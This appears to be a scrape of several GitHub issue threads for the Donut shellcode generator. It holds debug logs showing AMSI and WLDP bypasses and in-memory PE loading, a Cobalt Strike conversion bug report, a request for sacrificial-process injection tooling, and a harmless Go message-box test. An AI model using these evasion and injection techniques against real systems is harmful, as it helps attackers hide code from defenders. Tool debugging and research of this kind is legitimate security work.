DEBUG: payload.c:105:ThreadProc(): Loading mscoree.dll ...
DEBUG: payload.c:109:ThreadProc(): Resolving 33 API
DEBUG: payload.c:112:ThreadProc(): Resolving API address for B2795FC9DC9F3371
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 75C011E083850109
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 2B203BB1E5CAA0A3
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 11103F019F028A7E
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 41CE65B0A9AD3E28
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 7504E9E76041F3A9
DEBUG: payload.c:112:ThreadProc(): Resolving API address for DCBBDFD31893F015
DEBUG: payload.c:112:ThreadProc(): Resolving API address for FE4C58A8C71668BA
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 0BE9FED813F8DCA2
DEBUG: payload.c:112:ThreadProc(): Resolving API address for E63853C41BFD90A4
DEBUG: payload.c:112:ThreadProc(): Resolving API address for CA27E31FD7103EEA
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 9A5293CA521B2082
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 35E5EE184B0E29BC
DEBUG: payload.c:112:ThreadProc(): Resolving API address for CBE4859AFE656F63
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 05C01C1B18A17C47
DEBUG: payload.c:112:ThreadProc(): Resolving API address for F377A16EFFB07660
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 2CEF9CA5579BB4C4
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 00985260289F8462
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 47131A87EB1A73F2
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 4FC912588DE2B663
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 7944D8FC12654577
DEBUG: payload.c:112:ThreadProc(): Resolving API address for E5F46F9A4BB69829
DEBUG: payload.c:112:ThreadProc(): Resolving API address for CB3ACE4B44B126F3
DEBUG: payload.c:112:ThreadProc(): Resolving API address for E9DC0672F4A8562D
DEBUG: payload.c:112:ThreadProc(): Resolving API address for D8BF2129B31FE23F
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 1DE34AB7F9B81848
DEBUG: payload.c:112:ThreadProc(): Resolving API address for BCDF6ED6F7662F5B
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 93DE6285FC2CDDD9
DEBUG: payload.c:112:ThreadProc(): Resolving API address for EB15AB07B8438BD0
DEBUG: payload.c:112:ThreadProc(): Resolving API address for B1A1B2BB9AA44298
DEBUG: peb.c:87:FindExport(): b1a1b2bb9aa44298 is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 56B41A3D866B36FF
DEBUG: peb.c:87:FindExport(): 56b41a3d866b36ff is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 1909B767E54AC00B
DEBUG: peb.c:87:FindExport(): 1909b767e54ac00b is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize)
DEBUG: payload.c:128:ThreadProc(): Using module embedded in instance
DEBUG: bypass.c:111:DisableAMSI(): Length of AmsiScanBufferStub is 15 bytes.
DEBUG: bypass.c:121:DisableAMSI(): Overwriting AmsiScanBuffer
DEBUG: bypass.c:136:DisableAMSI(): Length of AmsiScanStringStub is 15 bytes.
DEBUG: bypass.c:146:DisableAMSI(): Overwriting AmsiScanString
DEBUG: payload.c:139:ThreadProc(): DisableAMSI OK
DEBUG: bypass.c:325:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 9 bytes.
DEBUG: bypass.c:349:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 18 bytes.
DEBUG: payload.c:145:ThreadProc(): DisableWLDP OK
DEBUG: inmem_script.c:46:RunScript(): Using module embedded in instance
DEBUG: wscript.c:75:Host_New(): LoadTypeLib("wscript.exe")
DEBUG: wscript.c:79:Host_New(): ITypeLib::GetTypeInfoOfGuid
DEBUG: wscript.c:84:Host_New(): HRESULT : 00000000
DEBUG: inmem_script.c:76:RunScript(): CoInitializeEx
DEBUG: inmem_script.c:81:RunScript(): CoCreateInstance(IID_IActiveScript)
DEBUG: inmem_script.c:90:RunScript(): IActiveScript::QueryInterface(IActiveScriptParse)
DEBUG: inmem_script.c:103:RunScript(): IActiveScriptParse::InitNew
DEBUG: inmem_script.c:108:RunScript(): IActiveScript::SetScriptSite
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: activescript.c:79:ActiveScript_AddRef(): IActiveScriptSite::AddRef : m_cRef : 1
DEBUG: activescript.c:149:ActiveScript_GetLCID(): IActiveScriptSite::GetLCID
DEBUG: activescript.c:171:ActiveScript_OnStateChange(): IActiveScriptSite::OnStateChange
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: inmem_script.c:115:RunScript(): IActiveScript::AddNamedItem("WScript")
DEBUG: inmem_script.c:122:RunScript(): IActiveScriptParse::ParseScriptText
DEBUG: inmem_script.c:128:RunScript(): IActiveScript::SetScriptState(SCRIPTSTATE_CONNECTED)
DEBUG: activescript.c:79:ActiveScript_AddRef(): IActiveScriptSite::AddRef : m_cRef : 2
DEBUG: activescript.c:177:ActiveScript_OnEnterScript(): IActiveScriptSite::OnEnterScript
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: activescript.c:79:ActiveScript_AddRef(): IActiveScriptSite::AddRef : m_cRef : 3
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: activescript.c:58:ActiveScript_QueryInterface(): IActiveScriptSite::QueryInterface
DEBUG: activescript.c:89:ActiveScript_Release(): IActiveScriptSite::Release : m_cRef : 2
DEBUG: activescript.c:123:ActiveScript_OnScriptError(): IActiveScriptSite::OnScriptError
DEBUG: activescript.c:133:ActiveScript_OnScriptError(): IActiveScriptError::GetExceptionInfo
DEBUG: activescript.c:136:ActiveScript_OnScriptError(): IActiveScriptError::GetSourcePosition
DEBUG: activescript.c:142:ActiveScript_OnScriptError(): JSError: Permission denied: 'MsgBox' line[0:0]
DEBUG: activescript.c:183:ActiveScript_OnLeaveScript(): IActiveScriptSite::OnLeaveScript
DEBUG: activescript.c:89:ActiveScript_Release(): IActiveScriptSite::Release : m_cRef : 1
DEBUG: activescript.c:171:ActiveScript_OnStateChange(): IActiveScriptSite::OnStateChange
DEBUG: inmem_script.c:137:RunScript(): IActiveScriptParse::Release
DEBUG: inmem_script.c:140:RunScript(): IActiveScript::Close
DEBUG: activescript.c:171:ActiveScript_OnStateChange(): IActiveScriptSite::OnStateChange
DEBUG: activescript.c:171:ActiveScript_OnStateChange(): IActiveScriptSite::OnStateChange
DEBUG: activescript.c:171:ActiveScript_OnStateChange(): IActiveScriptSite::OnStateChange
DEBUG: activescript.c:89:ActiveScript_Release(): IActiveScriptSite::Release : m_cRef : 0
DEBUG: inmem_script.c:143:RunScript(): IActiveScript::Release
DEBUG: inmem_script.c:147:RunScript(): Erasing script from memory
DEBUG: inmem_script.c:150:RunScript(): VirtualFree(script)
DEBUG: payload.c:188:ThreadProc(): Erasing RW memory for instance
DEBUG: payload.c:191:ThreadProc(): Releasing RW memory for instance

Relocation information error v0.9.3 with Cobalt Strike v4.1

As discussed on slack, with donut v0.9.3 it is not possible to generate shellcode from a Cobalt Strike exe. CS 4.1 was used, 32 and 64 bit exes were generated, and on running donut the following error occured:
[ Error : This file has no relocation information required for in-memory execution.

However, with v0.9.2 the shellcode generation is successful. Possible root cause "I think we added the check for reloc information in v0.9.3"

Thanks for the help!

[Question] Use Donut to encapsulate WPF form

Hi folks,

I'm facing a very simple issue, and I'd like to ask you if Donut is capable of what I want it to do ...

So, I've managed to have a working proof of concept by following this tuto.
The called method is inside a x64 .NET 4.7 DLL :
namespace NamespaceTEST { public class Test { public static void DoIt() { System.Windows.MessageBox.Show("toto"); new System.Windows.Window().ShowDialog(); } } }

When executed, "toto" is shown but the app closes just after that.
Simple question : Am I doing something wrong ? Or Donut is simply not made for that ?

Thanks a lot !

[Feature Request] Option to kill host process when injected assembly has exited

I was experimenting with building a toolkit that would create a sacrificial host process, inject donut generated shellcode and retrieve the .NET assembly output over a named pipe.

Currently, the host process will stay alive after execution of the assembly has completed. For this tactic to be a little more slick, it would be useful if donut had an option that would allow the host process to exit after execution.

Issues with Go binaries

Hi,

I know there has been some discussion in the Bloodhound Slack on regarding donut and Go binaries. After a short conversation with @TheWover, I wanted to post some findings.

I'm working with the following Go code. It's a simple application that pops message boxes at various points of execution. Hopefully, the code is fairly straight forward.

Test Go Code

// +build windows,cgo

// build dll:
// go build -buildmode=c-shared -o msgbox.dll msgbox.go

// build exe:
// go build -o msgbox.exe msgbox.go

package main

import (
	"C"
	"fmt"
	"runtime"
	"syscall"
	"unsafe"
)

func abort(funcname string, err error) {
	panic(fmt.Sprintf("%s failed: %v", funcname, err))
}

var (
	kernel32, _        = syscall.LoadLibrary("kernel32.dll")
	getModuleHandle, _ = syscall.GetProcAddress(kernel32, "GetModuleHandleW")

	user32, _     = syscall.LoadLibrary("user32.dll")
	messageBox, _ = syscall.GetProcAddress(user32, "MessageBoxW")
)

const (
	MB_OK                = 0x00000000
	MB_OKCANCEL          = 0x00000001
	MB_ABORTRETRYIGNORE  = 0x00000002
	MB_YESNOCANCEL       = 0x00000003
	MB_YESNO             = 0x00000004
	MB_RETRYCANCEL       = 0x00000005
	MB_CANCELTRYCONTINUE = 0x00000006
	MB_ICONHAND          = 0x00000010
	MB_ICONQUESTION      = 0x00000020
	MB_ICONEXCLAMATION   = 0x00000030
	MB_ICONASTERISK      = 0x00000040
	MB_USERICON          = 0x00000080
	MB_ICONWARNING       = MB_ICONEXCLAMATION
	MB_ICONERROR         = MB_ICONHAND
	MB_ICONINFORMATION   = MB_ICONASTERISK
	MB_ICONSTOP          = MB_ICONHAND

	MB_DEFBUTTON1 = 0x00000000
	MB_DEFBUTTON2 = 0x00000100
	MB_DEFBUTTON3 = 0x00000200
	MB_DEFBUTTON4 = 0x00000300
)

func MessageBox(caption, text string, style uintptr) (result int) {
	var nargs uintptr = 4
	ret, _, callErr := syscall.Syscall9(uintptr(messageBox),
		nargs,
		0,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(text))),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
		style,
		0,
		0,
		0,
		0,
		0)
	if callErr != 0 {
		abort("Call MessageBox", callErr)
	}
	result = int(ret)
	return
}

func GetModuleHandle() (handle uintptr) {
	var nargs uintptr = 0
	if ret, _, callErr := syscall.Syscall(uintptr(getModuleHandle), nargs, 0, 0, 0); callErr != 0 {
		abort("Call GetModuleHandle", callErr)
	} else {
		handle = ret
	}
	return
}

func main() {
	defer syscall.FreeLibrary(kernel32)
	defer syscall.FreeLibrary(user32)

	MessageBox("MessageBox", trace(), MB_OK)
}

// simple function to reveal current scope
func trace() (name string) {
	pc := make([]uintptr, 10) // at least 1 entry needed
	runtime.Callers(2, pc)
	f := runtime.FuncForPC(pc[0])
	return "Hello from " + f.Name()
}

func init() {
	MessageBox("MessageBox", trace(), MB_OK)
}

// No parameters (MessageBox might be started minimized)
// example: rundll32.exe msgbox.dll,FunctionA
//export FunctionA
func FunctionA() {
	MessageBox("MessageBox", trace(), MB_OK)
}

// rundll32 with parameters (MessageBox might be started minimized)
// example: rundll32.exe msgbox.dll,FunctionB foo
//export FunctionB
func FunctionB(handle C.int, instance C.int, p *C.char, nCmdShow C.int) {
	msg := fmt.Sprintf("msg: %s\nparm: %v", trace(), C.GoString(p))
	MessageBox("MessageBox", msg, MB_OK)
}

The above code can be built as an EXE or a DLL.

When run as an EXE, the code will pop two message boxes: one from init() and another from main().

When run as a DLL, you can invoke with the following:

rundll32.exe msgbox.dll,FunctionA
rundll32.exe msgbox.dll,FunctionB foo

I've tried inputting msgbox.dll and msgbox.exe into donut using various combinations. Here some results:

Go DLL

Build payload

> donut/donut.exe -f msgbox.dll -m FunctionA

  [ Donut shellcode generator v0.9.2
  [ Copyright (c) 2019 TheWover, Odzhan

DEBUG: donut.c:835:DonutCreate(): Entering.
DEBUG: donut.c:837:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG: 000000000066EDB0
DEBUG: donut.c:853:DonutCreate(): Validating instance type 1
DEBUG: donut.c:893:DonutCreate(): Validating architecture
DEBUG: donut.c:903:DonutCreate(): Validating AMSI/WDLP bypass option
DEBUG: donut.c:287:get_file_info(): Entering.
DEBUG: donut.c:296:get_file_info(): Checking extension of msgbox.dll
DEBUG: donut.c:303:get_file_info(): Extension is ".dll"
DEBUG: donut.c:330:get_file_info(): Module is DLL
DEBUG: donut.c:337:get_file_info(): Mapping msgbox.dll into memory
DEBUG: donut.c:231:map_file(): Reading size of file : msgbox.dll
DEBUG: donut.c:240:map_file(): Opening msgbox.dll
DEBUG: donut.c:250:map_file(): Mapping 3369360 bytes for msgbox.dll
DEBUG: donut.c:346:get_file_info(): Checking DOS header
DEBUG: donut.c:352:get_file_info(): Checking NT header
DEBUG: donut.c:358:get_file_info(): Checking IMAGE_DATA_DIRECTORY
DEBUG: donut.c:366:get_file_info(): Checking characteristics
DEBUG: donut.c:405:get_file_info(): Leaving.
DEBUG: donut.c:924:DonutCreate(): Validating architecture 3 for DLL/EXE 2
DEBUG: donut.c:939:DonutCreate(): Validating DLL function "FunctionA" for DLL
DEBUG: donut.c:419:is_dll_export(): Entering.
DEBUG: donut.c:424:is_dll_export(): EAT VA : 192000
DEBUG: donut.c:427:is_dll_export(): Offset = 170000

DEBUG: donut.c:431:is_dll_export(): Number of exported functions : dbb
DEBUG: donut.c:441:is_dll_export(): Found API
DEBUG: donut.c:450:is_dll_export(): Leaving.
DEBUG: donut.c:966:DonutCreate(): Creating module
DEBUG: donut.c:528:CreateModule(): Entering.
DEBUG: donut.c:532:CreateModule(): Allocating 3375792 bytes of memory for DONUT_MODULE
DEBUG: donut.c:578:CreateModule(): DLL function : FunctionA
DEBUG: donut.c:622:CreateModule(): Leaving.
DEBUG: donut.c:973:DonutCreate(): Creating instance
DEBUG: donut.c:633:CreateInstance(): Entering.
DEBUG: donut.c:636:CreateInstance(): Allocating space for instance
DEBUG: donut.c:643:CreateInstance(): The size of module is 3375792 bytes. Adding to size of instance.
DEBUG: donut.c:655:CreateInstance(): Generating random key for instance
DEBUG: donut.c:661:CreateInstance(): Generating random key for module
DEBUG: donut.c:667:CreateInstance(): Generating random string to verify decryption
DEBUG: donut.c:673:CreateInstance(): Generating random IV for Maru hash
DEBUG: donut.c:678:CreateInstance(): Generating hashes for API using IV: 8f2c56dd7702db68
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : LoadLibraryA           = 56B5339166F47DBA
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetProcAddress         = 780AA8DAFA96AB39
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetModuleHandleA       = F88453504A1FBC21
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualAlloc           = B6E30F9DD64E472
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualFree            = 27A160551E14E870
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualQuery           = 49321C4C74407C1B
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualProtect         = 2CED87B46E96C342
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : Sleep                  = CFA6CCD93C33E2AF
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : MultiByteToWideChar    = B1937A2D00692354
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetUserDefaultLCID     = 182053287B04E6E6
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreate        = B20B22790275829E
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreateVector  = 3E1ABB8A0061FC61
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayPutElement    = 18CEC67128EE1427
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayDestroy       = 778E7F9F5D9D2306
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetLBound     = BFCDF4DE062D0F4
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetUBound     = 83D7ABADC6660895
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SysAllocString         = E2E0937BD44E0364
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SysFreeString          = 192D367F894E6662
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : LoadTypeLib            = 8DA50ABDFFC4B997
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetCrackUrlA      = 89F714D822BF70F6
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetOpenA          = 4C6E78015F4188DC
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetConnectA       = CC035229E65BBF2F
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetSetOptionA     = D435392CD1EB137E
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetReadFile       = BB2628E6825E2FCB
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetCloseHandle    = 8580FD167321B2F6
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpOpenRequestA       = 83A501F1EDAD723
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpSendRequestA       = 313E7D35F02FD434
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpQueryInfoA         = 4EFC4CF7D50FD4CC
DEBUG: donut.c:691:CreateInstance(): Hash for mscoree.dll     : CorBindToRuntime       = 6BEE295E647536C5
DEBUG: donut.c:691:CreateInstance(): Hash for mscoree.dll     : CLRCreateInstance      = EB5561BE5F0EDCAF
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoInitializeEx         = 5E40CDDA0A0ACC99
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoCreateInstance       = 5CC4C072B8648E8E
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoUninitialize         = 7B421153367387DE
DEBUG: donut.c:804:CreateInstance(): Copying module data to instance
DEBUG: donut.c:809:CreateInstance(): encrypting instance
DEBUG: donut.c:821:CreateInstance(): Leaving.
DEBUG: donut.c:981:DonutCreate(): Saving instance to file
DEBUG: donut.c:1014:DonutCreate(): PIC size : 3400231
DEBUG: donut.c:1021:DonutCreate(): Inserting opcodes
DEBUG: donut.c:1057:DonutCreate(): Copying 16111 bytes of x86 + amd64 shellcode
DEBUG: donut.c:268:unmap_file(): Unmapping
DEBUG: donut.c:271:unmap_file(): Closing
DEBUG: donut.c:1083:DonutCreate(): Leaving.
  [ Instance type : PIC
  [ Module file   : "msgbox.dll"
  [ File type     : DLL
  [ Function      : FunctionA
  [ Target CPU    : x86+AMD64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "payload.bin"

DEBUG: donut.c:1091:DonutDelete(): Entering.
DEBUG: donut.c:1110:DonutDelete(): Leaving.

Instance Run

> donut/payload/payload.exe instance
Running...
DEBUG: payload.c:46:ThreadProc(): Maru IV : 8F2C56DD7702DB68
DEBUG: payload.c:49:ThreadProc(): Resolving address for VirtualAlloc() : B6E30F9DD64E472
DEBUG: payload.c:53:ThreadProc(): Resolving address for VirtualAlloc() : 27A160551E14E870
DEBUG: payload.c:62:ThreadProc(): VirtualAlloc : 00007FFB2B809D80 VirtualFree : 00007FFB2B809DA0
DEBUG: payload.c:64:ThreadProc(): Allocating 3384088 bytes of RW memory
DEBUG: payload.c:71:ThreadProc(): Copying 3384088 bytes of data to memory 0000000000C80000
DEBUG: payload.c:75:ThreadProc(): Zero initializing PDONUT_ASSEMBLY
DEBUG: payload.c:83:ThreadProc(): Decrypting 3384088 bytes of instance
DEBUG: payload.c:90:ThreadProc(): Generating hash to verify decryption
DEBUG: payload.c:92:ThreadProc(): Instance : bb830fb9f9552c5c | Result : bb830fb9f9552c5c
DEBUG: payload.c:99:ThreadProc(): Resolving LoadLibraryA
DEBUG: payload.c:105:ThreadProc(): Loading ole32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading oleaut32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading wininet.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading mscoree.dll ...
DEBUG: payload.c:109:ThreadProc(): Resolving 33 API
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 780AA8DAFA96AB39
DEBUG: payload.c:112:ThreadProc(): Resolving API address for F88453504A1FBC21
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 0B6E30F9DD64E472
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 27A160551E14E870
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 49321C4C74407C1B
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 2CED87B46E96C342
DEBUG: payload.c:112:ThreadProc(): Resolving API address for CFA6CCD93C33E2AF
DEBUG: payload.c:112:ThreadProc(): Resolving API address for B1937A2D00692354
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 182053287B04E6E6
DEBUG: payload.c:112:ThreadProc(): Resolving API address for B20B22790275829E
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 3E1ABB8A0061FC61
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 18CEC67128EE1427
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 778E7F9F5D9D2306
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 0BFCDF4DE062D0F4
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 83D7ABADC6660895
DEBUG: payload.c:112:ThreadProc(): Resolving API address for E2E0937BD44E0364
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 192D367F894E6662
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 8DA50ABDFFC4B997
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 89F714D822BF70F6
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 4C6E78015F4188DC
DEBUG: payload.c:112:ThreadProc(): Resolving API address for CC035229E65BBF2F
DEBUG: payload.c:112:ThreadProc(): Resolving API address for D435392CD1EB137E
DEBUG: payload.c:112:ThreadProc(): Resolving API address for BB2628E6825E2FCB
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 8580FD167321B2F6
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 083A501F1EDAD723
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 313E7D35F02FD434
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 4EFC4CF7D50FD4CC
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 6BEE295E647536C5
DEBUG: payload.c:112:ThreadProc(): Resolving API address for EB5561BE5F0EDCAF
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 5E40CDDA0A0ACC99
DEBUG: peb.c:87:FindExport(): 5e40cdda0a0acc99 is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 5CC4C072B8648E8E
DEBUG: peb.c:87:FindExport(): 5cc4c072b8648e8e is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 7B421153367387DE
DEBUG: peb.c:87:FindExport(): 7b421153367387de is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize)
DEBUG: payload.c:128:ThreadProc(): Using module embedded in instance
DEBUG: bypass.c:111:DisableAMSI(): Length of AmsiScanBufferStub is 37 bytes.
DEBUG: bypass.c:121:DisableAMSI(): Overwriting AmsiScanBuffer
DEBUG: bypass.c:136:DisableAMSI(): Length of AmsiScanStringStub is 37 bytes.
DEBUG: bypass.c:146:DisableAMSI(): Overwriting AmsiScanString
DEBUG: payload.c:139:ThreadProc(): DisableAMSI OK
DEBUG: bypass.c:325:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 23 bytes.
DEBUG: bypass.c:349:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 37 bytes.
DEBUG: payload.c:145:ThreadProc(): DisableWLDP OK
DEBUG: inmem_pe.c:89:RunPE(): Using module embedded in instance
DEBUG: inmem_pe.c:111:RunPE(): Allocating 3358720 (0x334000) bytes of RWX memory for file
DEBUG: inmem_pe.c:120:RunPE(): Copying Headers
DEBUG: inmem_pe.c:123:RunPE(): Copying each section to RWX memory 0000000002B60000
DEBUG: inmem_pe.c:135:RunPE(): Processing the Import Table
DEBUG: inmem_pe.c:143:RunPE(): Loading KERNEL32.dll
DEBUG: inmem_pe.c:143:RunPE(): Loading msvcrt.dll
DEBUG: inmem_pe.c:209:RunPE(): Applying Relocations
DEBUG: inmem_pe.c:234:RunPE(): Processing TLS directory
DEBUG: inmem_pe.c:241:RunPE(): Calling 0000000002BF5110
DEBUG: inmem_pe.c:241:RunPE(): Calling 0000000002BF50E0
DEBUG: inmem_pe.c:249:RunPE(): Executing entrypoint of DLL
DEBUG: inmem_pe.c:255:RunPE(): Resolving address of FunctionA
DEBUG: inmem_pe.c:263:RunPE(): IMAGE_EXPORT_DIRECTORY.NumberOfNames : 3515
DEBUG: inmem_pe.c:286:RunPE(): Calling FunctionA via code stub.
DEBUG: inmem_pe.c:292:RunPE(): Erasing code stub
DEBUG: inmem_pe.c:319:RunPE(): Releasing memory
DEBUG: payload.c:188:ThreadProc(): Erasing RW memory for instance
DEBUG: payload.c:191:ThreadProc(): Releasing RW memory for instance

Result: This works as expected popping message boxes for init() and FunctionA().

However, payload.bin does not work when run through runsc.exe.

Run Shellcode

> ./runsc.exe -f payload.bin -x

[ run shellcode v0.2
[ reading code from payload.bin
[ executing code...OK!

Result: No message boxes.

oops... was using a x86 version of runsc trying to run x64 DLL.

Result: This works as expected popping message boxes for init() and FunctionA().

Go EXE

I get different results here. The instance run ends at DEBUG: inmem_pe.c:234:RunPE(): Processing TLS directory without error, but does not continue or pop message boxes.

Build Payload

> donut/donut.exe -f msgbox.exe

  [ Donut shellcode generator v0.9.2
  [ Copyright (c) 2019 TheWover, Odzhan

DEBUG: donut.c:835:DonutCreate(): Entering.
DEBUG: donut.c:837:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG: 000000000066EDB0
DEBUG: donut.c:853:DonutCreate(): Validating instance type 1
DEBUG: donut.c:893:DonutCreate(): Validating architecture
DEBUG: donut.c:903:DonutCreate(): Validating AMSI/WDLP bypass option
DEBUG: donut.c:287:get_file_info(): Entering.
DEBUG: donut.c:296:get_file_info(): Checking extension of msgbox.exe
DEBUG: donut.c:303:get_file_info(): Extension is ".exe"
DEBUG: donut.c:325:get_file_info(): Module is EXE
DEBUG: donut.c:337:get_file_info(): Mapping msgbox.exe into memory
DEBUG: donut.c:231:map_file(): Reading size of file : msgbox.exe
DEBUG: donut.c:240:map_file(): Opening msgbox.exe
DEBUG: donut.c:250:map_file(): Mapping 3210015 bytes for msgbox.exe
DEBUG: donut.c:346:get_file_info(): Checking DOS header
DEBUG: donut.c:352:get_file_info(): Checking NT header
DEBUG: donut.c:358:get_file_info(): Checking IMAGE_DATA_DIRECTORY
DEBUG: donut.c:366:get_file_info(): Checking characteristics
DEBUG: donut.c:405:get_file_info(): Leaving.
DEBUG: donut.c:924:DonutCreate(): Validating architecture 3 for DLL/EXE 2
DEBUG: donut.c:966:DonutCreate(): Creating module
DEBUG: donut.c:528:CreateModule(): Entering.
DEBUG: donut.c:532:CreateModule(): Allocating 3216447 bytes of memory for DONUT_MODULE
DEBUG: donut.c:622:CreateModule(): Leaving.
DEBUG: donut.c:973:DonutCreate(): Creating instance
DEBUG: donut.c:633:CreateInstance(): Entering.
DEBUG: donut.c:636:CreateInstance(): Allocating space for instance
DEBUG: donut.c:643:CreateInstance(): The size of module is 3216447 bytes. Adding to size of instance.
DEBUG: donut.c:655:CreateInstance(): Generating random key for instance
DEBUG: donut.c:661:CreateInstance(): Generating random key for module
DEBUG: donut.c:667:CreateInstance(): Generating random string to verify decryption
DEBUG: donut.c:673:CreateInstance(): Generating random IV for Maru hash
DEBUG: donut.c:678:CreateInstance(): Generating hashes for API using IV: eb4a78958abbbafe
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : LoadLibraryA           = 2DF95594CD608906
